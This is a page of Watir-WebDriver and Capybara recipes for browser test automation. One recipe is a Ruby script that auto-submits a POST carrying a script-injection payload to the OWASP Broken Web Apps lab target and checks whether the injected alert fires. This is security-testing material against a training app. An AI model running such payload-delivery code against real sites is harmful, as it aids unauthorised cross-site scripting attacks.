For common questions with Watir-WebDriver or Capybara, look here next:
- http://watirwebdriver.com/web-elements/ (and the "advanced interactions" items)
- https://github.com/jnicklas/capybara
Detect and Close JavaScript Alert Boxes:
Watir-WebDriver
begin
browser.driver.switch_to.alert.accept #raises an exception if no alert is present
puts 'alert box found'
rescue
puts 'alert box not found'
end
Capybara:
page.driver.browser.switch_to.alert.accept
Perform Arbitrary HTTP POST Requests:
Watir-WebDriver
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| #POST http://owaspbwa/vicnum/vicnum5.php | |
| #player=<script>alert(1)</script> | |
| require 'tempfile' | |
| require 'escape_utils' | |
| require 'watir-webdriver' | |
| target='http://owaspbwa/vicnum/vicnum5.php' #the attack target | |
| post='player=<script>alert(1)</script>' #the POST data to send to the target | |
| postdata=Array.new | |
| post.split('&').each do |name_value| | |
| postdata.push(name_value.split('=')) | |
| end | |
| #Create an HTML form to submit the POST request | |
| html="<html><head></head><body>\r\n" | |
| html+='<form name="WATIR_AUTO_FORM" method="post" action="'+target+'">'+"\r\n" | |
| postdata.each do |pair| | |
| if(pair.count > 0 && pair[0] && !pair[0].empty?) | |
| html+='<input type="hidden" name="'+pair[0]+'" value="' | |
| if(pair.count > 1 && pair[1]) | |
| html+=pair[1] | |
| end | |
| html+='" />'+"\r\n" | |
| end | |
| end | |
| html+='</form><script>document.forms["WATIR_AUTO_FORM"].submit();</script></body></html>' | |
| #save the HTML content to a file. | |
| f=Tempfile.new('test.html') | |
| f.puts(html) | |
| location='file://'+f.path | |
| print location+"\r\n" | |
| f.close | |
| browser = Watir::Browser.new | |
| #View the generate HTML page | |
| browser.goto location | |
| begin | |
| browser.driver.switch_to.alert.accept #throws an error if no alert is present | |
| puts "XSS alert box was displayed!" | |
| rescue | |
| puts "Failed!" | |
| end |
Send Keyboard Commands:
Watir-WebDriver
browser.text_field(:name,/login/i).send_keys(:arrow_down)Capybara:
page.find_field('login').native.send_keys(:arrow_down)Search For Text/HTML Within a Nested Frame:
Watir-WebDriver
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| def each_frame(frames,&block) | |
| frames.each do |f| | |
| yield f | |
| each_frame(f.frames,&block) | |
| end | |
| end | |
| status = browser.html.include?(match) | |
| each_frame(browser.frames) do |f| | |
| break if(status=status || f.html.include?(match)) | |
| end |
Returning Content From Javascript:
Watir-WebDriver
browser.execute_script(‘return “asdf”’) #=> returns “asdf” to rubyInclude JQuery: Watir-WebDriver
browser.execute_script(%q|
var el = document.createElement("script");
el.setAttribute("src","http://code.jquery.com/jquery-1.6.4.min.js");
document.body.appendChild(el);|)
Return HTTP Headers:
Watir-WebDriver
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| url='http://www.google.com' | |
| browser.goto(url) | |
| browser.execute_script(%q|var el = document.createElement("script");el.setAttribute("src","http://code.jquery.com/jquery-1.6.4.min.js");document.body.appendChild(el);|) | |
| browser.execute_script(%q|var geturl = $.ajax({type: GET,url: '|+url+%q|',complete: function () {$('body').data('httpheaders_complete',true);},success: function (data,status,xhr) {$('body').data('httpheaders',geturl.getAllResponseHeaders());$('body').data('content',data);}});|) | |
| browser.wait_until { browser.execute_script(%q|return $('body').data('httpheaders_complete');|) } | |
| browser.execute_script(%q|return $('body').data('httpheaders');|) |
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